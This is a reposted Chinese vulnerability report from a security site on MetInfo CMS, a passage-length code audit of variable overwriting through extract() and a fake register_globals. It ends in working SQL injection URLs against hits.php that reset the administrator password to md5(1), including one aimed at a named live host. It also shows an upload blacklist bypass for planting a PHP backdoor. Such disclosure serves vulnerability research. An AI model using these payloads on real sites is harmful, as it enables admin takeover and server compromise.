热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

metinfo多个漏洞(可getshell)

发布时间:2014-03-03 13:17文章来源:wooyun文章作者:黑白前线 点击次数:
摘要:漏洞作者: b4dboy、 提交时间: 2013-11-30 20:46 公开时间: 2014-02-28 20:47 漏洞类型: 设计缺陷/逻辑错误 程序多个缺陷导致getshell 详细说明: 1、审计代码我一般喜欢先看核心文件。 define('MAGIC_QUOTES_GPC',get_magic_quotes_gpc()); isset($_REQ...

漏洞作者: b4dboy、

提交时间: 2013-11-30 20:46
公开时间: 2014-02-28 20:47

漏洞类型: 设计缺陷/逻辑错误
程序多个缺陷导致getshell


详细说明:

1、审计代码我一般喜欢先看核心文件。

 

  1. define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); 
  2.  
  3. isset($_REQUEST['GLOBALS']) && exit('Access Error'); 
  4.  
  5. require_once ROOTPATH.'include/global.func.php'; 
  6.  
  7. foreach(array('_COOKIE', '_POST', '_GET') as $_request) { 
  8.  
  9. foreach($$_request as $_key => $_value) { 
  10.  
  11. $_key{0} != '_' && $$_key = daddslashes($_value); 
  12.  
  13.  

 

include\common.inc.php 大概从21行开始程序使用了伪register_globals机制,

程序判断了key的第一个字符是不是“_”来避免覆盖系统全局变量,以及使用自定义函数daddslashes来避免注入。

 

  1. function daddslashes($string, $force = 0,$metinfo) { 
  2.  
  3. global $met_sqlinsert; 
  4.  
  5. !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); 
  6.  
  7. if(!MAGIC_QUOTES_GPC || $force) { 
  8.  
  9. if(is_array($string)) { 
  10.  
  11. foreach($string as $key => $val) { 
  12.  
  13. $string[$key] = daddslashes($val, $force); 
  14.  
  15.  
  16. } else { 
  17.  
  18. $string = addslashes($string); 
  19.  
  20.  
  21.  
  22. if(!is_array($string)){ 
  23.  
  24. $string_old = $string; 
  25.  
  26. $string = str_ireplace("\"","/",$string); 
  27.  
  28. $string = str_ireplace("'","/",$string); 
  29.  
  30. $string = str_ireplace("*","/",$string); 
  31.  
  32. $string = str_ireplace("~","/",$string); 
  33.  
  34. $string = str_ireplace("select", "\sel\ect", $string); 
  35.  
  36. $string = str_ireplace("insert", "\ins\ert", $string); 
  37.  
  38. $string = str_ireplace("update", "\up\date", $string); 
  39.  
  40. $string = str_ireplace("delete", "\de\lete", $string); 
  41.  
  42. $string = str_ireplace("union", "\un\ion", $string); 
  43.  
  44. $string = str_ireplace("into", "\in\to", $string); 
  45.  
  46. $string = str_ireplace("load_file", "\load\_\file", $string); 
  47.  
  48. $string = str_ireplace("outfile", "\out\file", $string); 
  49.  
  50. $string_html=$string; 
  51.  
  52. $string = strip_tags($string); 
  53.  
  54. if($string_html!=$string){ 
  55.  
  56. $string=''
  57.  
  58.  
  59. $string = str_replace("%", "\%", $string); // 
  60.  
  61. /* 
  62.  
  63. if(strlen($string_html)!=strlen($string)){ 
  64.  
  65. $reurl="http://".$_SERVER["HTTP_HOST"]; 
  66.  
  67. echo("<script type='text/javascript'> alert('Submitted information is not legal!'); location.href='$reurl'</script>"); 
  68.  
  69. die("Parameter Error!"); 
  70.  
  71.  
  72. */ 
  73.  
  74. if(strlen($string_old)!=strlen($string)&&$met_sqlinsert){ 
  75.  
  76. $reurl="http://".$_SERVER["HTTP_HOST"]; 
  77.  
  78. echo("<script type='text/javascript'> alert('Submitted information is not legal!'); location.href='$reurl'</script>"); 
  79.  
  80. die("Parameter Error!"); 
  81.  
  82.  
  83. $string = trim($string); 
  84.  
  85.  
  86. if($id!=""){ 
  87.  
  88. if(!is_numeric($id)){ 
  89.  
  90. $reurl="http://".$_SERVER["HTTP_HOST"]; 
  91.  
  92. echo("<script type='text/javascript'> alert('Parameter Error!'); location.href='$reurl'</script>"); 
  93.  
  94. die("Parameter Error!"); 
  95.  
  96. }} 
  97.  
  98. if($class1!=""){ 
  99.  
  100. if(!is_numeric($class1)){ 
  101.  
  102. $reurl="http://".$_SERVER["HTTP_HOST"]; 
  103.  
  104. echo("<script type='text/javascript'> alert('Parameter Error!'); location.href='$reurl'</script>"); 
  105.  
  106. die("Parameter Error!"); 
  107.  
  108. }} 
  109.  
  110. if($class2!=""){ 
  111.  
  112. if(!is_numeric($class2)){ 
  113.  
  114. $reurl="http://".$_SERVER["HTTP_HOST"]; 
  115.  
  116. echo("<script type='text/javascript'> alert('Parameter Error!'); location.href='$reurl'</script>"); 
  117.  
  118. die("Parameter Error!"); 
  119.  
  120. }} 
  121.  
  122. if($class3!=""){ 
  123.  
  124. if(!is_numeric($class3)){ 
  125.  
  126. $reurl="http://".$_SERVER["HTTP_HOST"]; 
  127.  
  128. echo("<script type='text/javascript'> alert('Parameter Error!'); location.href='$reurl'</script>"); 
  129.  
  130. die("Parameter Error!"); 
  131.  
  132. }} 
  133.  
  134. return $string; 
  135.  

 

虽然无法覆盖系统全局变量,以及一些注入被过滤,但还是埋下了安全隐患。

 

2、变量未初始化以及extract函数使用不当。

在common.inc.php文件随后的代码里包含了一个config.inc.php的文件, 看名字就知道是一些初始化变量配置, 程序员将应用程序所需变量

放在了register_globals机制之后声明估计就是怕变量被覆盖.但是config.inc.php的一个数组$settings却忘记了初始化.

 

  1. /*读配置数据*/ 
  2.  
  3. $query = "SELECT * FROM $met_config WHERE lang='$lang' or lang='metinfo'"
  4.  
  5. $result = $db->query($query); 
  6.  
  7. while($list_config= $db->fetch_array($result)){ 
  8.  
  9. if($metinfoadminok)$list_config['value']=str_replace('"', '&#34;', str_replace("'", '&#39;',$list_config['value'])); 
  10.  
  11. $settings_arr[]=$list_config; 
  12.  
  13. if($list_config['columnid']){ 
  14.  
  15. $settings[$list_config['name'].'_'.$list_config['columnid']]=$list_config['value']; 
  16.  
  17. }else{ 
  18.  
  19. $settings[$list_config['name']]=$list_config['value']; 
  20.  
  21.  
  22. if($list_config['flashid']){ 
  23.  
  24. $list_config['value']=explode('|',$list_config['value']); 
  25.  
  26. $falshval['type']=$list_config['value'][0]; 
  27.  
  28. $falshval['x']=$list_config['value'][1]; 
  29.  
  30. $falshval['y']=$list_config['value'][2]; 
  31.  
  32. $falshval['imgtype']=$list_config['value'][3]; 
  33.  
  34. $met_flasharray[$list_config['flashid']]=$falshval; 
  35.  
  36.  
  37.  
  38. @extract($settings); 

 

 

在没有初始化的情况下又使用了extract($settings),结合前面的register_globals机制这样就导致多个变量可以被覆盖掉从而控制整个程序逻辑.

 

3、sql注入绕过。

前面的防注入函数里可以看到替换了一些常用的关键字,使注入的难度增加了,但那仅仅只对sql语句的where之后注入有所防范。

对于可以覆盖系统变量的咋们来讲就不太管用了而且无视GPC,sql注释符也没有过滤。

为了降低攻击成本我挑了一处最容易实现攻击地方,一个update的sql语句。

在 include\hits.php的25行左右。

$query = "update $met_hits SET hits='$hits_list[hits]' where id='$id'";

覆盖掉$met_hits变量就可以update任何数据表,如修改管理员密码。

hits.php?type=img&settings[met_img]=met_admin_table+SET+admin_introduction=admin_pass,admin_pass=md5(1)+WHERE+id=1%23

使用密码1登陆后台拿shell,再把管理员密码改回来。

hits.php?type=img&settings[met_img]=met_admin_table+SET+admin_pass=admin_introduction+WHERE+id=1%23

 

4、上传饶过。

刚刚说到的后台拿shell,前台也可以并且无须登验证,程序在多个地方存在上传功能,虽然使用了黑白名单的过滤机制但是并无完善。

白名单可以使用前面的update注入点向met_config表添加一个我们想要上传的后缀即可。我们来看看黑名单。(job\uploadfile_save.php)

 

  1. $met_file_format=str_replace("php","",strtolower($met_file_format)); 
  2.  
  3. $met_file_format=str_replace("aspx","",strtolower($met_file_format)); 
  4.  
  5. $met_file_format=str_replace("asp","",strtolower($met_file_format)); 
  6.  
  7. $met_file_format=str_replace("jsp","",strtolower($met_file_format)); 
  8.  
  9. $met_file_format=str_replace("js","",strtolower($met_file_format)); 
  10.  
  11. if($met_file_format != "" && !in_array(strtolower($ext), explode("|", strtolower($met_file_format)))){ 
  12.  
  13. okinfo('javascript:history.go(-1);',$lang_js23); 
  14.  

 

 

$met_file_format是在数据库里设置的白名单,此处程序将一些常用脚本后缀给替换了,但是存在明显逻辑错误。

错误1程序将危险后缀替换成空,错误2替换顺序混乱。如果我想上传php脚本后门只需要update白名单为:

rar|zip|doc|pdf|jpg|xls|png|gif|mp3|jpeg|bmp|swf|flv|ico|pphpaspxhp

 

pphpaspxhp经过第一轮替换变成paspxhp, 第二轮替换就变成了php. 文件名使用了时间+三位随机数字可以选择爆破也可以去后台直接查看文件名。
漏洞证明:

修改管理员密码为1

http://www.yunsec.net/include/hits.php?type=img&settings[met_img]=met_admin_table+SET+admin_introduction=admin_pass,admin_pass=md5(1)+WHERE+id=1%23

标签分类:

上一篇:Discuz附件下载权限绕过方法
下一篇:DedeCMS最新通杀注入(buy_action.php)漏洞分析